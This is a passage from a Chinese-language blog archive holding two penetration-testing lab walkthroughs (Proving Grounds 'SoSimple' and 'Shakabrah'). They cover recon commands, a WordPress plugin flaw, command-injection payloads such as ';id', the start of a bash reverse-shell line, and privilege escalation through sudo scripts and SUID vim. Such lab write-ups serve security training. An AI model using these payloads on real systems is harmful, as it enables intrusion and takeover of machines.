發表文章

目前顯示的是 5月, 2024的文章

Proving Grounds Play : SoSimple Walkthrough

圖片
 Proving Grounds Play : SoSimple Walkthrough Foothole (立足點 ) : 80 網站掃描後發現 WordPress,之後用 wpscan 串 API 發現套件 Social Warfare 漏洞 直接利用漏洞建立 Rever Shell 獲得進入點 PE ( 提權 ) : 標準 Linux 爛梗,切換使用者 max 後,sudo -l 發現可以再切換使用者為 steven sudo -l 發現 steven 可以sudo 以 root 身分執行 /opt/tools/server-health.sh 系統上找不到該檔案,自行建立並寫入呼叫 bash 後成功提權為 root 注意事項 : 切換使用者是 PE 標準爛梗 掃 Port,└─$ rustscan -a 192.168.182.78 --scripts none --ulimit 5000 | tee rustscan snmp check,└─$ sudo nmap -sU -p 161 192.168.182.78 | tee snmp nmap,└─$ sudo nmap -sCV -A -p 22,80 192.168.182.78 | tee nmap whatweb └─$ searchsploit Apache 2.4.41 80 / 好機車的首頁 80 /robots.txt HTTP Header gobuster,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.182.78 -c -t 150 -x txt,pdf,git,php | tee gobuster 發現 wordpress whatweb,└─$ whatweb http://192.168.182.78/wordpress | tee whatweb-wordpress 發現 WordPress 版本 5.4.2 80 /wordpress 快速掃描 plug-in,└─$ curl -s -X GET 'http://192.168.182.78/wordpress' | grep plugins | awk '{print $2}' | awk '{print $6}...

Proving Grounds Play : Shakabrah Walkthrough

圖片
 Proving Grounds Play : Shakabrah Walkthrough Foothole (立足點 ) : 80 Port 網站是一個標準有 command injection 的網頁 利用後直接建立 Reverse Sehll PE ( 提權 ) : SUID 利用 vim 成功提權 注意事項 : 相對簡單的一個靶機,沒有需要特別注意的地方 第一步 Rustscan,└─$ rustscan -a 192.168.172.86 --scripts none --ulimit 5000 | tee rustscan 僅有開兩個 Port 22 & 80 snmp 檢查 filtered,沒戲 └─$ sudo nmap -sU -p 161 192.168.172.86 | tee snmp nmap,└─$ sudo nmap -sCV -A -p 22,80 192.168.172.86 | tee nmap 80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu)) whatweb,└─$ whatweb http://192.168.172.86 | tee whatweb Exploit-DB Apache 2.4.29,nothing 80 /,是一個可以執行 Ping command 的網站 執行 127.0.0.1 ping Kali 192.168.45.202 從 127.0.0.1 的 TTL 結果來看,是一台 Linux Base 機器 參考這個網站,開始測試 command injection 參考 :  https://gabb4r.gitbook.io/oscp-notes/cheatsheet/command-injection-cheatsheet 開始一一測試發現前面幾個就有用 <!--#exec%20cmd="/usr/bin/id;--> ;id; ;id 看來直接用 ; 後面接命令即可直接執行 ;whoami ;ls -la 也可以直接使用空格沒有問題 ;cat index.php 測試 bash -c "bash -i >& /dev/...